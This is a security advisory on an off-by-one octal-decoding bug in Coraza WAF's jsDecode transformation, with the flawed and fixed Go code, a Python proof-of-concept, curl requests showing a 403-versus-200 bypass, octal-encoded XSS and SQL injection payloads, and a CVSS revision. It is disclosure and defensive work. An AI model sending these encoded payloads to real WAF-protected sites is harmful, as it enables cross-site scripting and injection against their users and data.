CVE-2026-104774: Coraza WAF: octal jsDecode bug lets payloads bypass rules

### Summary The `t:jsDecode` transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing `strconv.ParseInt` to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on `jsDecode` for normalization are enabled. Therefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (`\ooo`) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected. ### Details Vulnerable code: `internal/transformations/js_decode.go:64-70.` ```go case (i+1 < inputLen) && isodigit(input[i+1]): /* \OOO (only one byte, \000 - \377) */ buf := make([]byte, 3) j := 0 for (i+1+j < inputLen) && (j < 3) { buf[j] = input[i+j] // this should be `input[i+1+j]` j++ if !isodigit(input[i+j]) { break } } ``` This is because, when entering octal mode, the loop variable `i` points to the backslash character `\`. Before entering octal mode, the pointer **does not** cross the backslash (unlike in the `\u` and `\x` cases, where `i+N` is used as the index). Line 65 uses `input[i+j]`, so when `j=0`, the backslash character itself is copied to `buf[0]`. The subsequent call to `strconv.ParseInt(string(buf), 8, 8)` will fail because `\` is not a valid octal digit; it therefore returns `0` and raises an error (which is silently suppressed by `_`), resulting in the loss of the bytes that were supposed to be decoded. For example, Input `\163`. The loop starts with `j=0`: `buf[0] = input[i+0] = ‘\’ ` (the backslash itself). The counter `j` is incremented to 1. Since `isodigit(input[i+1]) = isodigit(‘1’)` is true, the loop continues. When `j=1`: `buf[1] = input[i+1] = ‘1’`. The counter increments to 2; `isodigit(input[i+2]) = isodigit(‘6’)` is true. At this point, `j = 2`: `buf[2] = input[i+2] = ‘6’`. The counter increments to 3, at which point the loop condition `j < 3` is no longer satisfied. Final buffer: `buf = [‘\’, ‘1’, ‘6’]`. The buffer is truncated when `j = 2` (because `buf[0] = ‘\’ > ‘3’`), leaving `[‘\’, ‘1’]`. This error affects all octal escape sequences (from `\000` to `\377`). Each sequence is decoded and displayed as `0x00` instead of the expected value. For example: `\377` is normally decoded as `\xff` or 255 ```go // Bug: buf = ['\', '3', '7'] to string(buf) = "\\37" nn, _ = strconv.ParseInt("\\37", 8, 8) // nn = 0 // Correct: buf = ['3', '7', '7'] = "377" nn, _ = strconv.ParseInt("377", 8, 8) // nn = 255 = 0xFF ``` ### PoC #### Test Environment Coraza WAF v3.7.0 is configured to `127.0.0.1:8090`, `SecRuleEngine` is set to `On`, `SecRequestBodyAccess` is set to `On`, and the complete OWASP CRS rule set has been loaded. #### PoC Executable Script ```python #!/usr/bin/env python3 import urllib.request, sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8090" normal_url = f"{TARGET}/?q=%3Cscript%3E" octal_url = f"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E" print(f"[Normal XSS: {normal_url}") try: urllib.request.urlopen(normal_url) print(" Response: 200 ") except urllib.error.HTTPError as e: print(f" Response: {e.code}") print(f"\nBypass JS octal-escaped XSS: {octal_url}") try: urllib.request.urlopen(octal_url) print(" Response: 200 (BYPASS)") except urllib.error.HTTPError as e: print(f" Response: {e.code}") ``` output: ``` Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E Response: 403 Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E Response: 200 (BYPASS) ``` #### Proof - Normal Test ```bash curl -v -s "http://127.0.0.1:8090/?q=%3Cscript%3E" < HTTP/1.1 403 Forbidden < Date: Wed, 01 Jul 2026 16:09:04 GMT ``` - Bypass Test ``` curl -v -s "http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E" < HTTP/1.1 200 OK < Date: Wed, 01 Jul 2026 16:09:04 GMT < Content-Length: 39 < Hello world, transaction not disrupted. ``` - Log Proof ``` 2026/07/01 16:09:04 [DEBUG] Transaction finished tx_id="<txid>" is_interrupted=false ``` ### Impact Attackers can bypass WAFs that rely on the `t:jsDecode` transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities. #### Real-world attack scenarios: **SQL injection bypass.** A rule using `t:jsDecode` received `\47\117\122\40\61\75\61` (i.e., `' OR 1=1`). This octal string decodes to `\0...`, so the rule did not match the SQL injection pattern. ### Affected Versions Coraza WAF v3.0.0 - v3.7.0 ### Resolution Fixed in `internal/transformations/js_decode.go`'s `\OOO` octal branch, plus two related issues found and fixed while verifying the patch — the actual shipped fix is broader than the single-line change originally proposed: 1. **The reported off-by-one** (`buf[j] = input[i+j]` → `buf[j] = input[i+1+j]`, with the digit-continuation check updated to `input[i+1+j]` accordingly): confirmed and fixed exactly as described above. 2. **A related high-byte clamping bug in the same branch**: the decoded value was parsed with `strconv.ParseInt(string(buf), 8, 8)` — a *signed* 8-bit parse. Octal values `\200`-`\377` (decimal 128-255) exceed the signed int8 range, so even after fixing the indexing bug, those high bytes would still fail to parse and clamp to `0x7f` instead of their real value. Fixed by parsing as unsigned (`strconv.ParseUint(string(buf), 8, 8)`), so the full `\000`-`\377` range decodes correctly. 3. **A related overflow-saturation bug in the sibling `escapeSeqDecode` transformation** (`internal/transformations/escape_seq_decode.go`), discovered while auditing the same octal-parsing pattern elsewhere in the codebase. Unlike `jsDecode`, `escapeSeqDecode`'s indexing was already correct, but it parsed octal values with `strconv.ParseUint(input[i+1:i+j], 8, 8)` — an 8-bit-wide unsigned parse. Since up to 3 octal digits are consumed (`\0`-`\777`, i.e. up to decimal 511), any value above `\377` (255) overflows 8 bits, causing `strconv.ParseUint` to return an error and a saturated value of `0xFF` for every one of those escapes, rather than correctly wrapping to its low byte (mirroring ModSecurity's `strtol(...) & 0xFF` reference behavior). Fixed by widening the parse to 16 bits (`strconv.ParseUint(input[i+1:i+j], 8, 16)`) before truncating to a byte, so `\400`-`\777` now wrap to their correct low-byte value instead of all saturating to `0xFF`. Verified end-to-end: both PoC payloads from this report now decode correctly — `<\163\143\162\151\160\164>` → `<script>`, and `\47\117\122\40\61\75\61` → `'OR 1=1` — so a downstream WAF rule inspecting the transformed value now sees the real, intended content instead of null bytes or clamped/saturated garbage. Extensive regression tests were added covering the full octal range (including the `\200`-`\377` high-byte range and the `\400`-`\777` overflow range for `escapeSeqDecode`), the pre-existing digit-count/truncation edge cases, and both PoC payloads verbatim. ### Mitigation Upgrade to the patched release once available. If upgrading isn't immediately possible, the specific code change is: ```go for (i+1+j < inputLen) && (j < 3) { buf[j] = input[i+1+j] j++ if i+1+j >= inputLen || !isodigit(input[i+1+j]) { break } } ... nn, _ := strconv.ParseUint(string(buf), 8, 8) ``` ### Severity (revised 2026-10-02) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium). Attack Complexity is Low: JavaScript engines decode legacy octal escapes in non-strict string literals (ECMAScript Annex B), the standard behaviour `jsDecode` emulates, so the request alone triggers the discrepancy. The previous vector (`S:U/C:L/I:L`, 6.5) scored Confidentiality and Integrity separately for what is a single inspection bypass. Impact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately. _AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, "CVSS preconditions get verified, not copied from the report") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._

An attacker targets an internet-facing LLM chat or model-management web UI protected by Coraza with OWASP CRS. They discover that a plain `<script>` payload gets a 403, then resend it as `<%5C163%5C143%5C162%5C151%5C160%5C164>` so the WAF decodes it to null bytes and passes the request. The backend or browser interprets the octal escapes, and the payload executes as stored or reflected XSS or reaches an injectable query, letting the attacker hijack sessions of ML operators or tamper with application data.